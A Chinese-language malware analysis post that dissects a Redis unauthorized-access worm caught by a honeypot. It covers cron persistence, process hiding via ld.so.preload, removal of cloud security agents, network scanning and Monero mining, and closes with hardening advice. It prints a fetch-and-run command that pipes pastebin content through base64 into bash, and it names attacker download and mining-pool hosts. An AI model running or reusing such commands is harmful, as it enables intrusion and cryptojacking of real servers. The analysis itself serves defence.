一次Redis未授權訪問漏洞入侵分析
阿新 • • 發佈:2018-11-29
0x00 簡介
通過之前部署的蜜罐系統,我近日在滴滴雲上捕獲到了一個通過 Redis 未授權訪問漏洞進行入侵的蠕蟲樣本,該樣本的特點是使用 Python 指令碼進行橫向漏洞掃描,並且具有程序隱藏和解除安裝某些雲上安全產品的功能。
0x01 樣本分析
通過蜜罐日誌得到攻擊者入侵開始於通過 Redis 寫 crontab:
命令中的 URL https://pastebin.com/raw/1NtRkBc3 其實是一箇中轉,實際樣本檔案為 https://pastebin.com/raw/tRxfvbYN 在 base64 解碼後的結果為:
curl https://pastebin.com/raw/1NtRkBc3
( curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash
解碼後是一個 300+ 行的 shell 指令碼,該指令碼共有 9 個函式:
kills
:根據關鍵字殺掉其他木馬的程序和檔案system
:從 https://pastebin.com/raw/CnPtQ2tM 下載 shell 指令碼到/bin/httpdns
,然後建立定時任務定時執行該指令碼,該指令碼較本樣本多了init
函式:
- 該函式從 https://master.minerxmr.ru/x/1539937106x-1566688371.jpg
/usr/sbin/netdns
和/etc/init.d/netdns
,然後使用chkconfig --add netdns
設定自動啟動,該檔案使用了 UPX 壓縮,解壓之後的內容即為執行 shell 命令下載的樣本:
- 該函式從 https://master.minerxmr.ru/x/1539937106x-1566688371.jpg
top
:從 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg 下載動態連結庫檔案到/usr/local/lib/libdns.so
,然後將該路徑寫入到/etc/ld.so.preload
,從而使該庫得以在其他可執行檔案執行時被載入,該檔案 hook 了readdir
這個函式,使其忽略/proc/
下kworkerds
top
等命令無法檢視到kworkerds
這個程序,而這個程序就是後面要提到的挖礦主程序:
python
:使用 Python 解碼並執行一段 base64 資料:
- 這段程式碼實際也是為了中轉,最終執行的 Python 程式碼如下:
- 該指令碼從
ident.me
獲取 IP 地址並掃描 B 段,這裡需要注意的是,除了掃描 6379 埠的 Redis 未授權訪問,該指令碼還對 8161 埠的 ActiceMQ 任意檔案上傳漏洞(CVE-2016-3088)進行了掃描
- 該指令碼從
- 這段程式碼實際也是為了中轉,最終執行的 Python 程式碼如下:
echocron
:建立定時任務,定時下載該樣本:
tables
:更改 iptables,僅允許本地訪問 6379 埠,防止其他入侵者繼續入侵:
uninstall
:解除安裝阿里雲安騎士和騰訊云云鏡這兩款主機安全產品,由此可見該蠕蟲主要針對目標是國內的雲主機:
downloadrun
:下載挖礦檔案並執行:
- 可以看到該挖礦檔名稱
kworkerds
即為上面提到的動態庫想要隱藏的程序名。
- 可以看到該挖礦檔名稱
downloadrunxm
:從 https://master.minerxmr.ru/y/1540521844x-1404729716.jpg 下載挖礦配置檔案,並且根據機器架構下載不同的挖礦程式並執行,挖礦的礦池地址為stratum+tcp://x1.minerxmr.ru:56415
。
各函式的呼叫順序如下:
從上述分析可以看到,這是一個針對 Redis 未授權訪問漏洞的蠕蟲,攻擊者利用 pastebin.com
這種第三方檔案傳輸服務來隱藏自身的位置(雖然後面使用了 ident.me
這個個人域名),使用動態連結庫 hook 來隱藏程序,並且解除安裝了主流主機安全產品,可見入侵手法相對高階並具有針對性。
0x02 安全建議
Redis 未授權訪問漏洞已經是一個常見漏洞,對於攻擊者來說,該漏洞利用門檻低,成功利用後往往能獲取較高許可權,所以已被大量木馬蠕蟲所利用。建議使用者使用以下方式對該漏洞進行防護:
- 設定 Redis 只能本機訪問:在
redis.conf
中設定bind 127.0.0.1
- 更改預設埠:在
redis.conf
中設定port 埠
- 設定認證:在
redis.conf
中設定requirepass 密碼
- 在雲控制檯安全組中設定安全組,僅允許指定 IP 訪問 Redis 所在埠
- 以低許可權使用者執行 Redis
如果發現漏洞已存在,建議通過以下方法檢查是否已被入侵:
- 檢查 crontab 等敏感檔案,對於滴滴雲的使用者來講,可以從主機安全的介面直接看到相關內容:
- 下載靜態連結版本的命令檔案比如
ls
、top
檢視系統狀態。